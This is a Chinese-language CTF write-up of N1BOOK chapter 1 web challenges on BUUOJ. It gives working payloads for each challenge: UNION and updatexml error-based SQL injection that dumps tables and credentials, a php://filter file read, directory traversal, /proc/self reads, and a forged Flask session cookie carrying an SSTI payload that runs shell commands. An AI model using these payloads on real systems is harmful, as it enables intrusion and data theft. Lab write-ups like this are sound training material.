BUU N1BOOK WEB

平时做题记录
N1BOOK上面的web题

N1BOOK第一章

[第一章 web入门]常见的搜集

信息收集
除了 git泄露这些

robots.txt: 记录一些目录和CMS版本信息
readme.md: 记录CMS版本信息,有的甚至有Github地址
www.zip/rar/tar.gz: 往往是网站的源码备份

gedit备份文件 为多一个~
vim备份文件 前面多. 后面多.swp eg: index.php -> .index.php.swp

本题 robots.txt 中存在以下

{
    User-agent: *
Disallow:
/flag1_is_her3_fun.txt
}

进入/flag1_is_her3_fun.txt/

显示flag1:n1book{info_1
肯定还有flag2等

访问 index.php~
flag2:s_v3ry_im

后面flag猜就是import4nt 变形

访问.index.php.swp
下载一个文件,搜到’flag3:p0rtant_hack}’;?>

n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

git泄露,访问.git 发现403 没有权限

githack
python GitHack.py http://27eda15c-88cd-47af-85da-a7daabc8bc49.node4.buuoj.cn:81/.git/

[第一章 web入门]SQL注入-1

单引号 #无法注释掉 –+可以

三列,都是三列


回显位置23 好像没什么过滤的。

-1' union select 1,2,database()--+
库名 note

表 fl4g,notes

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+

columns ==fllllag

-1'union select 1,2,group_concat(fllllag) from note.fl4g --+

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

源码提示报错注入了
1' and extractvalue(1,concat(0x7e,database(),0x7e)) #
1'and (updatexml(1,concat(1,database()),1))#
都可以

note

这里过滤select
1' and updatexml(1,concat(0x7e,(SELect table_name from information_schema.tables where table_schema='note'),0x7e),1) #

显示太长,用group_concat
1' and updatexml(1,concat(0x7e,(seLECT group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1) #

fl4g,users

1' and updatexml(1,concat(0x7e,(seLECT group_concat(column_name) from information_schema.columns where table_schema='note'),0x7e),1) #

flag,id,username,passwd‘“

1' and updatexml(1,concat(0x7e,(selECT group_concat(flag,id,username,passwd) from note.fl4g)),1)#
显示表明错误,估计是四个是不同的地方

1' and updatexml(1,concat(0x7e,(selECT group_concat(id,username,passwd) from note.users)),1)#

账户和密码
test,admin
test 26f1c86def93bd19fb3ba6ad3d9
26f1c86def93bd19fb3ba6ad3d9f2a8

1' and updatexml(1,concat(0x7e,(selECT group_concat(flag) from note.fl4g)),1)#

getflag

[第一章 web入门]afr_1

一开始看了下框架 是openresty
找了历史漏洞,发现有目录穿越
结果没用,方向错了

其实很简单,加协议直接读取flag base64解码即可

payload=/?p=php://filter/convert.base64-encode/resource=flag
<?php die(‘no no no’); n1book{afr_1_solved}

[第一章 web入门]afr_2

访问发现一个图片
看一下前端代码发现是本地文件读取
img/img.gif

继续看看img页面

还是openresty框架

访问img../上级目录,得到flag下载
n1book{afr_2_solved}

[第一章 web入门]afr_3

这个题……不是很入门,和CATcat里面的第一题比较类似

linux 系统 proc/self/…

{
    Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
    /proc/[pid],当查看当前进程的时候可以用/proc/self代替
    cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
    cwd — 指向当前进程运行目录的一个符号链接
    environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
}

http://73235d70-069e-46fa-9c7a-456bb3b3dcd5.node4.buuoj.cn:81/article?name=这里注入

尝试读取下proc相关东西
进入proc/self/environ 发现一串flag


可惜不是flag

进入map页面看到内存区域,不知道能不能像catcat那样读取,待会试试

发现serve进程server.py
进去cwd看看


发现是 python flask框架

有flag.py key.py

flag.py 显示没有权限
key.py 显示#!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’、
有key了
需要linux下

ssti python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

得到session


mem中显示input /output error
不允许读取内存区域
但是不失为一种好方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值